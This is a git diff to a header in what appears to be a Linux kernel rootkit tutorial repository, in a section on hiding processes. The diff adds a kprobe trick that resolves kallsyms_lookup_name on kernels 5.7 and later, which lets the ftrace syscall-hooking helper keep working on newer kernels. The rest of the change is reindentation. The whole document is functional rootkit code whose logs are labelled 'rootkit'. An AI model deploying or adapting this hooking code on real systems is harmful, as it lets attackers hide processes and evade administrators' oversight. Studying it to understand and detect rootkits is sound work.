diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h index f3a0171..4e76d01 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -13,6 +13,19 @@ #define PTREGS_SYSCALL_STUBS 1 #endif +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + /* x64 has to be special and require a different naming convention */ #ifdef PTREGS_SYSCALL_STUBS #define SYSCALL_NAME(name) ("__x64_" name) @@ -20,11 +33,11 @@ #define SYSCALL_NAME(name) (name) #endif -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = SYSCALL_NAME(_name), \ - .function = (_hook), \ - .original = (_orig), \ +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -46,12 +59,12 @@ * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -60,33 +73,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -98,38 +118,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -138,18 +158,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -157,29 +177,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); }